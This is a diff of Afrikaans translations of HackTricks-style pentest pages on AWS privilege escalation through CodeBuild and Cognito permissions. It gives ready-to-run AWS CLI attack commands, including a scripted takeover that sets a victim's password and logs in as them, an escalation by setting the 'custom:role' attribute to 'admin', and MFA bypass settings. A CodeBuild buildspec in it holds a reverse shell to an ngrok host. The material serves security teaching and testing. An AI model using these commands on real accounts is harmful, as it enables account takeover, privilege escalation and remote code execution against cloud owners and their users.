Net soos in die vorige afdeling, as jy in plaas van om 'n build project te skep dit kan wysig, kan jy die IAM Role aandui en die token steel
|
||||
```bash
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -218,11 +281,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
**Potensiële impak:** Direkte privesc na enige AWS Codebuild-rol.
|
||||
**Potential Impact:** Direkte privesc na enige AWS Codebuild-rol.
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Soos in die vorige afdeling, maar **sonder die `iam:PassRole`-toestemming**, kan jy hierdie toestemmings misbruik om **bestaande Codebuild-projekte te wysig en toegang te kry tot die rol wat reeds aan hulle toegewys is**.
|
||||
Soos in die vorige afdeling, maar **sonder die `iam:PassRole` permissie**, kan jy hierdie permissies misbruik om **bestaande Codebuild-projekte te wysig en toegang te kry tot die rol wat reeds aan hulle toegeken is**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -302,9 +365,9 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
|
||||
### SSM
|
||||
|
||||
As jy **genoeg toestemmings het om 'n ssm-sessie te begin**, is dit moontlik om **binne 'n Codebuild-projek** te kom wat gebou word.
|
||||
Indien jy **genoeg permissies het om 'n ssm session te begin**, is dit moontlik om **in 'n Codebuild project te kom** wat gebou word.
|
||||
|
||||
Die Codebuild-projek sal 'n breakpoint moet hê:
|
||||
Die Codebuild project sal 'n breakpoint moet hê:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">phases:
|
||||
pre_build:
|
||||
@@ -323,9 +386,9 @@ Vir meer inligting [**check the docs**](https://docs.aws.amazon.com/codebuild/la
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
'n Aanvaller wat 'n build van 'n spesifieke CodeBuild-projek kan begin of herbegin, waarvan die `buildspec.yml`-lêer op 'n S3-bucket gestoor word waartoe die aanvaller skryftoegang het, kan opdraguitvoering in die CodeBuild-proses kry.
|
||||
n attacker wat 'n build kan begin/herbegin vir 'n spesifieke CodeBuild-projek waarvan die `buildspec.yml`-lêer op 'n S3-bucket gestoor is waarop die attacker skryf toegang het, kan opdraguitvoering in die CodeBuild-proses verkry.
|
||||
|
||||
Let wel: die eskalasie is slegs relevant as die CodeBuild-werker 'n ander rol het, en hopelik meer voorregte as dié van die aanvaller.
|
||||
Nota: die eskalasie is slegs relevant indien die CodeBuild worker 'n ander role het, hopelik meer voorregte, as dié van die attacker.
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -351,13 +414,13 @@ build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
**Impact:** Direkte privesc na die rol wat deur die AWS CodeBuild worker gebruik word wat gewoonlik hoë voorregte het.
|
||||
**Impak:** Direkte privesc na die rol wat deur die AWS CodeBuild-werker gebruik word wat gewoonlik hoë voorregte het.
|
||||
|
||||
> [!WARNING]
|
||||
> Let wel dat die buildspec moontlik in zip-formaat verwag word, dus sal 'n aanvaller die zip moet aflaai, unzip, die `buildspec.yml` uit die root directory wysig, weer zip en oplaai
|
||||
> Let wel dat die buildspec in zip-formaat verwag kan word, sodat 'n aanvaller dit sal moet aflaai, uitpak, die `buildspec.yml` vanaf die wortelgids wysig, weer inpak en oplaai
|
||||
|
||||
More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
Meer besonderhede kan [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word.
|
||||
|
||||
**Potential Impact:** Direkte privesc na aangehegte AWS Codebuild rolle.
|
||||
**Potensiële impak:** Direkte privesc na aangehegte AWS Codebuild roles.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+99
-51
@@ -4,23 +4,23 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
Vir meer inligting oor Cognito kyk:
|
||||
Vir meer inligting oor Cognito sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Versameling van credentials vanaf Identity Pool
|
||||
### Insameling van credentials vanaf Identity Pool
|
||||
|
||||
As Cognito **IAM role credentials** aan beide **geauthentiseerde** en **nie-geauthentiseerde** **gebruikers** kan verleen, as jy die **Identity Pool ID** van 'n toepassing opspoor (dit behoort hardcoded op die toepassing te wees) kan jy nuwe credentials bekom en gevolglik privesc verkry (binne 'n AWS-rekening waar jy waarskynlik voorheen nie eens enige credential gehad het nie).
|
||||
Aangesien Cognito **IAM role credentials** aan beide **authenticated** en **unauthenticated** **users** kan toeken, as jy die **Identity Pool ID** van 'n toepassing vind (dit behoort hardcoded daarin te wees) kan jy nuwe credentials verkry en gevolglik privesc (binne 'n AWS rekening waar jy waarskynlik vroeër glad nie enige credential gehad het nie).
|
||||
|
||||
Vir meer inligting [**kyk hierdie bladsy**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
Vir meer inligting [**sien hierdie bladsy**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
|
||||
**Potensiële impak:** Direkte privesc na die service-rol wat aan nie-geauthentiseerde gebruikers gekoppel is (en waarskynlik ook na dié wat aan geauthentiseerde gebruikers gekoppel is).
|
||||
**Potential Impact:** Direkte privesc na die services role wat aan unauth users gekoppel is (en waarskynlik aan die een wat aan auth users gekoppel is).
|
||||
|
||||
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
|
||||
|
||||
Met hierdie toestemming kan jy **ken enige Cognito-rol toe** aan die geauthentiseerde/nie-geauthentiseerde gebruikers van die Cognito-app.
|
||||
Met hierdie toestemming kan jy **grant any cognito role** aan die authenticated/unauthenticated users van die cognito app.
|
||||
```bash
|
||||
aws cognito-identity set-identity-pool-roles \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
|
||||
## Get creds for that id
|
||||
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
|
||||
```
|
||||
As die cognito-app nie die opsie vir nie-geauthentiseerde gebruikers geaktiveer het nie, mag jy ook die toestemming `cognito-identity:UpdateIdentityPool` nodig hê om dit aan te skakel.
|
||||
As die cognito-app **nie ongeauthentikeerde gebruikers aangeskakel het nie**, mag jy ook die toestemming `cognito-identity:UpdateIdentityPool` nodig hê om dit aan te skakel.
|
||||
|
||||
**Potensiële impak:** Direkte privesc na enige cognito-rol.
|
||||
|
||||
### `cognito-identity:update-identity-pool`
|
||||
|
||||
'n aanvaller met hierdie toestemming kan byvoorbeeld 'n Cognito User Pool onder sy beheer opstel of enige ander identiteitsverskaffer waarby hy kan **login** as 'n **manier om toegang tot hierdie Cognito Identity Pool te kry**. Dan sal net 'n **login** by daardie identiteitsverskaffer hom **toelaat om toegang te kry tot die geconfigureerde authenticated role in die Identity Pool**.
|
||||
'n aanvaller met hierdie toestemming kan byvoorbeeld 'n Cognito User Pool onder sy beheer opstel of enige ander identity provider waarby hy kan aanmeld as 'n **manier om toegang tot hierdie Cognito Identity Pool te kry**. Daarna sal net om op daardie identity provider **aan te meld** hom **toelaat om toegang te kry tot die gekonfigureerde authenticated role in die Identity Pool**.
|
||||
```bash
|
||||
# This example is using a Cognito User Pool as identity provider
|
||||
## but you could use any other identity provider
|
||||
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
```
|
||||
Dit is ook moontlik om **hierdie toestemming te misbruik om basic auth toe te laat**:
|
||||
Dit is ook moontlik om hierdie toestemming te **misbruik om basic auth toe te laat**:
|
||||
```bash
|
||||
aws cognito-identity update-identity-pool \
|
||||
--identity-pool-id <value> \
|
||||
@@ -69,11 +69,11 @@ aws cognito-identity update-identity-pool \
|
||||
--allow-unauthenticated-identities
|
||||
--allow-classic-flow
|
||||
```
|
||||
**Potensiële impak**: Kompromitteer die gekonfigureerde geverifieerde IAM-rol binne die identity pool.
|
||||
**Potensiële impak**: Kompromiseer die gekonfigureerde geauthentiseerde IAM-rol binne die identity pool.
|
||||
|
||||
### `cognito-idp:AdminAddUserToGroup`
|
||||
|
||||
Hierdie toestemming laat toe om **'n Cognito-gebruiker by 'n Cognito-groep te voeg**, daarom kan 'n aanvaller hierdie toestemming misbruik om 'n gebruiker onder sy beheer by ander groepe met **beter** voorregte of **verskillende IAM-rolle** te voeg:
|
||||
Hierdie toestemming maak dit moontlik om **'n Cognito user by 'n Cognito group te voeg**, daarom kan 'n attacker hierdie toestemming misbruik om 'n Cognito user onder sy beheer by ander groepe met **beter** voorregte of **verskillende IAM-rolle** te voeg:
|
||||
```bash
|
||||
aws cognito-idp admin-add-user-to-group \
|
||||
--user-pool-id <value> \
|
||||
@@ -84,25 +84,25 @@ aws cognito-idp admin-add-user-to-group \
|
||||
|
||||
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
|
||||
|
||||
'n aanvaller met hierdie toestemmings kan **create/update groups** met **every IAM role that can be used by a compromised Cognito Identity Provider** maak en 'n gekompromitteerde gebruiker in daardie group plaas, en sodoende toegang tot al daardie roles kry:
|
||||
'n aanvaller met hierdie toestemmings kan **skep/opdateer groepe** met **elke IAM role wat deur 'n gekompromitteerde Cognito Identity Provider gebruik kan word** en 'n gekompromitteerde gebruiker deel van die groep maak, sodat hy/sy toegang tot al daardie rolle kry:
|
||||
```bash
|
||||
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
|
||||
```
|
||||
**Potensiële impak:** Privesc na ander Cognito IAM-rolle.
|
||||
**Potensiële impak:** Privesc to other Cognito IAM roles.
|
||||
|
||||
### `cognito-idp:AdminConfirmSignUp`
|
||||
|
||||
Hierdie toestemming laat toe om **'n registrasie te verifieer**. Standaard kan enigiemand by Cognito-toepassings aanmeld; as dit so gelaat word, kan 'n gebruiker 'n rekening skep met enige data en dit met hierdie toestemming verifieer.
|
||||
Hierdie toestemming laat toe om **'n aanmelding te verifieer**. Standaard kan enigiemand by Cognito-toepassings aanmeld; as dit so gelaat word, kan 'n gebruiker 'n rekening met enige data skep en dit met hierdie toestemming verifieer.
|
||||
```bash
|
||||
aws cognito-idp admin-confirm-sign-up \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**Potential Impact:** Indirect privesc na die identity pool IAM role vir authenticated users as jy 'n nuwe user kan registreer. Indirect privesc na ander app-funksionaliteite wat in staat is om enige account te bevestig.
|
||||
**Potensiële impak:** Indirekte privesc na die identity pool IAM role for authenticated users as jy 'n nuwe gebruiker kan registreer. Indirekte privesc na ander app-funksionaliteite wat in staat is om enige rekening te bevestig.
|
||||
|
||||
### `cognito-idp:AdminCreateUser`
|
||||
|
||||
Hierdie permission sou 'n attacker toelaat om 'n nuwe user binne die user pool te skep. Die nuwe user word geskep as enabled, maar sal sy password moet verander.
|
||||
Hierdie toestemming sou 'n aanvaller toelaat om 'n nuwe gebruiker in die user pool te skep. Die nuwe gebruiker word geskep as geaktiveer, maar sal sy wagwoord moet verander.
|
||||
```bash
|
||||
aws cognito-idp admin-create-user \
|
||||
--user-pool-id <value> \
|
||||
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
|
||||
[--validation-data <value>]
|
||||
[--temporary-password <value>]
|
||||
```
|
||||
**Potensiële impak:** Direkte privesc na die identity pool IAM role vir geauthentiseerde gebruikers. Indirekte privesc na ander app-funksionaliteite wat in staat is om enige gebruiker te skep
|
||||
**Potensiële impak:** Direkte privesc na die identity pool IAM role vir geauthentiseerde gebruikers. Indirekte privesc na ander app-funksionaliteite wat enige gebruiker kan skep
|
||||
|
||||
### `cognito-idp:AdminEnableUser`
|
||||
|
||||
Hierdie permissie kan help in 'n uiters seldsame geval waar 'n aanvaller die inlogbewyse van 'n gedeaktiveerde gebruiker gevind het en hy dit weer moet **aktiveer**.
|
||||
Hierdie permissie kan help in 'n baie randgevalscenario waar 'n aanvaller die inlogbesonderhede van 'n gedeaktiveerde gebruiker gevind het en hy dit weer moet **aktiveer**.
|
||||
```bash
|
||||
aws cognito-idp admin-enable-user \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**Potential Impact:** Indirekte privesc na die identity pool IAM role vir geauthentiseerde gebruikers en die permissies van die gebruiker as die aanvaller kredensiale gehad het vir 'n gedeaktiveerde gebruiker.
|
||||
**Potensiële impak:** Indirekte privesc na die identity pool IAM role vir geauthentiseerde gebruikers en die toestemmings van die gebruiker indien die aanvaller inlogbewyse vir 'n gedeaktiveerde gebruiker gehad het.
|
||||
|
||||
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
|
||||
|
||||
Hierdie permissie laat toe om in te log met die [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Vir meer inligting volg die skakel.
|
||||
Hierdie toestemming laat toe om aan te meld met die [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Vir meer inligting volg die skakel.
|
||||
|
||||
### `cognito-idp:AdminSetUserPassword`
|
||||
|
||||
Hierdie permissie sou 'n aanvaller toelaat om die wagwoord van enige gebruiker **te verander**, wat hom in staat sal stel om enige gebruiker na te boots (that doesn't have MFA enabled).
|
||||
Hierdie toestemming sou 'n aanvaller in staat stel om **'n bekende wagwoord vir enige gebruiker te stel**, wat gewoonlik lei tot **'n direkte rekeningoorname** (veral as die slagoffer nie MFA geaktiveer het nie, of MFA nie afgedwing word vir die relevante auth flow/client nie).
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--user-pool-id <value> \
|
||||
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
|
||||
--password <value> \
|
||||
--permanent
|
||||
```
|
||||
**Potensiële impak:** Direkte privesc na potensieel enige gebruiker, dus toegang tot al die groepe waarvan elke gebruiker lid is en toegang tot die Identity Pool authenticated IAM role.
|
||||
Algemene werkstroom:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
VICTIM_USERNAME="<victim_username_or_email>"
|
||||
NEW_PASS='P@ssw0rd-ChangeMe-123!'
|
||||
|
||||
# 1) Set a permanent password for the victim (takeover primitive)
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$VICTIM_USERNAME" \
|
||||
--password "$NEW_PASS" \
|
||||
--permanent
|
||||
|
||||
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
|
||||
```
|
||||
Verwante permission: `cognito-idp:AdminResetUserPassword` kan gebruik word om 'n reset flow vir 'n victim af te dwing (impak hang af van hoe password recovery geïmplementeer is en wat die attacker kan onderskep of beheer).
|
||||
|
||||
**Potensiële impak:** Account takeover of arbitrary users; toegang tot app-layer privileges (groups/roles/claims) en enigiets downstream wat Cognito tokens vertrou; potensiële toegang tot Identity Pool authenticated IAM roles.
|
||||
|
||||
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
|
||||
|
||||
**AdminSetUserSettings**: 'n attacker kan hierdie toestemming moontlik misbruik om 'n mobiele telefoon wat onder sy beheer is as **SMS MFA of a user** te stel.
|
||||
**AdminSetUserSettings**: 'n attacker kan moontlik hierdie permission misbruik om 'n mobiele telefoon onder sy beheer as **SMS MFA vir 'n user** te stel.
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-settings \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--mfa-options <value>
|
||||
```
|
||||
**SetUserMFAPreference:** Soortgelyk aan die vorige een, kan hierdie toestemming gebruik word om die MFA-voorkeure van 'n gebruiker in te stel om die MFA-beskerming te omseil.
|
||||
**SetUserMFAPreference:** Soortgelyk aan die vorige, kan hierdie toestemming gebruik word om die MFA-voorkeure van 'n gebruiker te stel en sodoende die MFA-beskerming te bypass.
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-mfa-preference \
|
||||
[--sms-mfa-settings <value>] \
|
||||
@@ -156,7 +181,7 @@ aws cognito-idp admin-set-user-mfa-preference \
|
||||
--username <value> \
|
||||
--user-pool-id <value>
|
||||
```
|
||||
**SetUserPoolMfaConfig**: Soortgelyk aan die vorige, kan hierdie toestemming gebruik word om die MFA-voorkeure van 'n user pool te stel en sodoende die MFA-beskerming te omseil.
|
||||
**SetUserPoolMfaConfig**: Soortgelyk aan die vorige kan hierdie toestemming gebruik word om die MFA-voorkeure van 'n user pool te stel om die MFA-beskerming te bypass.
|
||||
```bash
|
||||
aws cognito-idp set-user-pool-mfa-config \
|
||||
--user-pool-id <value> \
|
||||
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
```
|
||||
**UpdateUserPool:** Dit is ook moontlik om die user pool by te werk om die MFA-beleid te verander. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
**UpdateUserPool:** Dit is ook moontlik om die user pool by te werk om die MFA-beleid te verander. [Kyk na die CLI hier](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Potential Impact:** Indirekte privesc na moontlik enige gebruiker waarvan die aanvaller die aanmeldbewyse ken; dit kan toelaat om die MFA-beskerming te omseil.
|
||||
**Potensiële impak:** Indirekte privesc na potensieel enige gebruiker waarvan die aanvaller die inlogbewyse ken; dit kan toelaat om die MFA-beskerming te omseil.
|
||||
|
||||
### `cognito-idp:AdminUpdateUserAttributes`
|
||||
|
||||
’n Aanvaller met hierdie toestemming kan die e-pos, telefoonnommer of enige ander attribuut van ’n gebruiker onder sy beheer verander om te probeer meer voorregte in ’n onderliggende toepassing te verkry.\
|
||||
Dit maak dit moontlik om ’n e-pos of telefoonnommer te verander en dit as geverifieer te merk.
|
||||
'n Aanvaller met hierdie toestemming kan **enige veranderlike attribuut** van 'n User Pool-gebruiker (insluitend `custom:*` attribuutte) verander om te probeer om bevoegdhede in 'n onderliggende toepassing te verkry.
|
||||
|
||||
'n Algemene hoë-impak patroon is **claim-based RBAC** geïmplementeer deur gebruik van **custom attributes** (byvoorbeeld `custom:role=admin`). As die toepassing daardie claim vertrou, kan deur dit op te dateer en dan opnuut te verifieer autorisasie omseil word sonder om die app aan te raak.
|
||||
```bash
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--user-attributes <value>
|
||||
```
|
||||
**Potential Impact:** Potensiële indirekte privesc in die onderliggende toepassing wat Cognito User Pool gebruik wat voorregte gee gebaseer op gebruiker-attribuutte.
|
||||
Voorbeeld: opgradeer jou eie role en refresh tokens:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
USERNAME="<your_username>"
|
||||
|
||||
# 1) Change the RBAC attribute (example)
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$USERNAME" \
|
||||
--user-attributes Name="custom:role",Value="admin"
|
||||
|
||||
# 2) Re-authenticate to obtain a token with updated claims
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
PASSWORD="<your_password>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
|
||||
```
|
||||
**Potensiële impak:** Indirekte privesc in toepassings wat op Cognito-eienskappe/claims staatmaak vir autorisasie; vermoë om ander veiligheid-belangrike eienskappe te wysig (byvoorbeeld om `email_verified` of `phone_number_verified` op `true` te stel kan in sommige apps saak maak).
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
'n aanvaller met hierdie toestemming kan **'n nuwe User Pool Client skep wat minder beperk is** as reeds bestaande pool clients. Byvoorbeeld, die nuwe client kan enige soort metode toelaat om te verifieer, geen secret hê, token revocation gedeaktiveer hê, of tokens langer geldig laat wees...
|
||||
'n aanvaller met hierdie permisie kan **'n nuwe User Pool Client skep wat minder beperk is** as reeds bestaande pool-clients. Byvoorbeeld, die nuwe client kan enige soort metode toelaat om te autentiseer, geen geheim hê nie, token intrekking gedeaktiveer hê, of toelaat dat tokens vir 'n langer tydperk geldig is...
|
||||
|
||||
Dieselfde kan gedoen word as, in plaas daarvan om 'n nuwe client te skep, 'n **bestaande een gewysig** word.
|
||||
Dieselfde kan gebeur as, in plaas daarvan om 'n nuwe client te skep, 'n **bestaande een gewysig** word.
|
||||
|
||||
In die [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (of die [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) kan jy al die opsies sien — kyk dit na!
|
||||
In die [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) kan jy al die opsies sien — kyk dit na!.
|
||||
```bash
|
||||
aws cognito-idp create-user-pool-client \
|
||||
--user-pool-id <value> \
|
||||
--client-name <value> \
|
||||
[...]
|
||||
```
|
||||
**Potensiële impak:** Potensiële indirekte privesc vir die Identity Pool-gemagtigde gebruiker wat deur die User Pool gebruik word deur 'n nuwe kliënt te skep wat die sekuriteitsmaatreëls verslap en dit moontlik maak vir 'n aanvaller om aan te meld met 'n gebruiker wat hy self kon skep.
|
||||
**Potential Impact:** Potensiële indirekte privesc vir die gemagtigde gebruiker van die Identity Pool wat deur die User Pool gebruik word deur 'n nuwe client te skep wat die sekuriteitsmaatreëls verslap en dit moontlik maak vir 'n aanvaller om in te log met 'n gebruiker wat hy geskep het.
|
||||
|
||||
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
|
||||
|
||||
'n aanvaller kan hierdie toestemming misbruik om gebruikers te skep deur 'n CSV met nuwe gebruikers op te laai.
|
||||
'n aanvaller kan hierdie permissie misbruik om gebruikers te skep deur 'n CSV met nuwe gebruikers op te laai.
|
||||
```bash
|
||||
# Create a new import job
|
||||
aws cognito-idp create-user-import-job \
|
||||
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
|
||||
curl -v -T "PATH_TO_CSV_FILE" \
|
||||
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
|
||||
```
|
||||
(In die geval dat jy 'n nuwe import job skep, mag jy ook die iam passrole permission benodig; ek het dit nog nie getoets nie).
|
||||
(In die geval waar jy 'n nuwe import job skep, mag jy ook die iam passrole permission benodig; ek het dit nog nie getoets nie).
|
||||
|
||||
**Potensiële impak:** Direkte privesc na die identity pool IAM role vir geverifieerde gebruikers. Indirekte privesc na ander app-funksionaliteite wat in staat is om enige gebruiker te skep.
|
||||
**Potensiële impak:** Direkte privesc na die identiteitspool IAM-rol vir geauthentiseerde gebruikers. Indirekte privesc na ander app-funksionaliteite wat in staat is om enige gebruiker te skep.
|
||||
|
||||
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
|
||||
|
||||
'n aanvaller kan 'n nuwe identity provider skep om dan deur hierdie provider te **login**.
|
||||
'n aanvaller kan 'n nuwe identiteitsverskaffer skep om dan **deur hierdie verskaffer aan te meld**.
|
||||
```bash
|
||||
aws cognito-idp create-identity-provider \
|
||||
--user-pool-id <value> \
|
||||
@@ -230,36 +278,36 @@ aws cognito-idp create-identity-provider \
|
||||
[--attribute-mapping <value>] \
|
||||
[--idp-identifiers <value>]
|
||||
```
|
||||
**Potensiële impak:** Direkte privesc na die identity pool IAM role vir geverifieerde gebruikers. Indirekte privesc na ander app-funksies wat enige gebruiker kan skep.
|
||||
**Potensiële impak:** Direkte privesc na die identity pool IAM role vir geauthentiseerde gebruikers. Indirekte privesc na ander app-funksies wat in staat is om enige gebruiker te skep.
|
||||
|
||||
### cognito-sync:* Analise
|
||||
### cognito-sync:* Ontleding
|
||||
|
||||
Dit is 'n baie algemene toestemming standaard in rolle van Cognito Identity Pools. Selfs al lyk 'n wildcard in 'n permission altyd sleg (veral as dit van AWS kom), die **gegewe permissions is nie besonder nuttig vanuit 'n attackers perspektief nie**.
|
||||
Dit is 'n baie algemene toestemming standaard in rolle van Cognito Identity Pools. Selfs al lyk 'n wildcard in 'n permissie altyd sleg (veral as dit van AWS kom), is die **gegewe toestemmings nie besonder nuttig vanuit 'n aanvaller se perspektief nie**.
|
||||
|
||||
Hierdie toestemming laat toe om gebruikersinligting van Identity Pools en Identity IDs binne Identity Pools te lees (wat nie sensitiewe inligting is nie).\
|
||||
Identity IDs mag [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) aan hulle toegewys hê, wat inligting oor sessies is (AWS definieer dit soos 'n **saved game**). Dit is moontlik dat dit sekere sensitiewe inligting bevat (maar die waarskynlikheid is redelik laag). Jy kan in die [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) vind hoe om tot hierdie inligting toegang te kry.
|
||||
Hierdie toestemming laat toe om gebruiksinligting van Identity Pools en Identity IDs binne Identity Pools te lees (wat nie sensitiewe info is nie).\
|
||||
Identity IDs mag [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) aan hulle toegewys hê, wat inligting oor sessies is (AWS beskryf dit soos 'n **saved game**). Dit is moontlik dat dit sekere vorme van sensitiewe inligting kan bevat (maar die waarskynlikheid is redelik laag). Jy kan op die [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) vind hoe om toegang tot hierdie inligting te kry.
|
||||
|
||||
An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. Ek het nog nie gesien dat dit gebruik word nie, en ek sou hier nie sensitiewe inligting verwag nie, maar dit is nie onmoontlik nie.
|
||||
'n Aanvaller kan hierdie toestemmings ook gebruik om homself te **inskryf by 'n Cognito-stream wat veranderinge op hierdie datases publiseer** of by 'n **lambda wat op cognito events trigger**. Ek het nie gesien dat dit gebruik word nie, en ek sou hier nie sensitiewe inligting verwag nie, maar dit is nie onmoontlik nie.
|
||||
|
||||
### Automatic Tools
|
||||
### Outomatiese Gereedskap
|
||||
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, sluit nou die "cognito__enum" en "cognito__attack" modules in wat die enumerasie van alle Cognito assets in 'n account outomatiseer en swak konfigurasies, user attributes wat vir access control gebruik word, ens. aan dui, en ook gebruikerskreatie outomatiseer (insluitend MFA-ondersteuning) en privilege escalation gebaseer op modifiseerbare custom attributes, usable identity pool credentials, assumable roles in id tokens, ens.
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, sluit nou die "cognito__enum" en "cognito__attack" modules in wat die enumerasie van alle Cognito-bates in 'n account outomatiseer en swak konfigurasies, gebruikersattribuutte wat vir toegangbeheer gebruik word, ens. uitlig, en ook gebruikersskepping outomatiseer (insluitend MFA-ondersteuning) en privilege escalation gebaseer op aanpasbare custom attributes, bruikbare identity pool credentials, assumable rolle in id tokens, ens.
|
||||
|
||||
Vir 'n beskrywing van die modules se funksies sien deel 2 van die [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie-instruksies sien die hoof [Pacu](https://github.com/RhinoSecurityLabs/pacu) bladsy.
|
||||
Vir 'n beskrywing van die modules se funksies sien deel 2 van die [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie-instruksies sien die hoofbladsy van die [Pacu](https://github.com/RhinoSecurityLabs/pacu) projek.
|
||||
|
||||
#### Gebruik
|
||||
|
||||
Voorbeeld van cognito__attack gebruik om gebruikerskreatie te probeer en alle privesc-vektore teen 'n gegewe identity pool en user pool client:
|
||||
Voorbeeld van cognito__attack gebruik om gebruikersskepping te probeer en alle privesc-vektore teen 'n gegewe identity pool en user pool client:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
|
||||
```
|
||||
